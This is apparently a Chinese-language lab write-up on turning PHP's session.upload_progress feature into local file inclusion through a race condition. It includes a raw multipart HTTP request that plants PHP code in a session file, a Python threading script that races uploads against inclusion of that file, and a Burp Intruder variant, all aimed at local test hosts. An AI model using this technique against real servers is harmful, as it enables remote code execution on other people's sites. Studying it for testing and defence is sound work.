1.session.upload_progress的作用:
session.upload_progress最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。
默认情况下,session.upload_progress是开启的,我们发送一下以下数据包,可见,我在上传文件的同时,POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,其值为。(PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name)只要上传包里带上这个键,PHP就会自动启用Session,又因为我在Cookie中设置了PHPSESSID=oupeng,所以Session文件将会自动创建。并且会生成由PHP_SESSION_UPLOAD_PROGRESS和<?php phpinfo(); ?>组成的文件内容。
POST /xss_location/include/session_upload.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA
Cookie: PHPSESSID=oupeng
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/session_upload.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php phpinfo(); ?>
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain
<?php phpinfo(); ?>aaaaaaaaaaaaa
------WebKitFormBoundaryGmgITM0pPCAAzrsA--
但是由于有session.upload_progress.cleanup的存在(默认是开启的),session会在被上传之后自动清除。
2.竞争
为了解决这个问题,我们则需要竞争,在文件被清除前完成利用。所以我用到了一个python脚本。
import io
import requests
import threading
sessid = 'oupeng'
def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'http://127.0.0.1/include/demo.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def t2(session):
while True:
response = session.get(f'http://127.0.0.1/include/1.php?file=C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid}'))
print(response.text)
with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session,))
t1.daemon = True
t1.start()
t2(session)
按理来说这个脚本是没什么问题的。
代码编写遇到的问题:
第一个问题:编码问题
UnicodeEncodeError: 'gbk' codec can't encode character '\xe4' in position 82201: illegal multibyte sequence,
就是在这里的gbk编码可能无法对某些unicode字符进行编码导致报错,所以我在t2进程的response对象设置为utf-8编码
但是发现还是有编码问题:
nicode 编码错误: 'gbk' codec can't encode character '\xe4' in position 82145: illegal multibyte sequence
所以我直接导入了一个sys.stdout模块,这个模块作用就是标准输出,我写的就是标准输出使用utf-8
第二个问题:找不到临时文件
就是在我脚本上面写的路径找不到临时文件
<br />
<b>Warning</b>: include(C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_oupeng): failed to open stream: No such file or directory in <b>C:\Study\phpstudy\phpstudy_pro\WWW\include\1.php</b> on line <b>2</b><br />
<br />
不知道是哪一步出了问题,所以我在t1进程打印一下服务器的响应内容,运行后返回的就是200,没有问题。
print(response.text)
然后我想起来php.ini配置文件里面的upload_tmp_dir我配置的是在windows/temp下面,不知道是否需要改成脚本的路径,所以我尝试改了后重新运行。
upload_tmp_dir = "C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp"
最后是包含成功了。
竞争的第二种方法:
除了用脚本竞争,也可以用burpsuite同时开两个intruder进程,一个进程一直上传文件,一个进程用作包含文件,最后也可以完成文件包含。
这是包含的进程
这是上传的进程
可以发现包含成功了。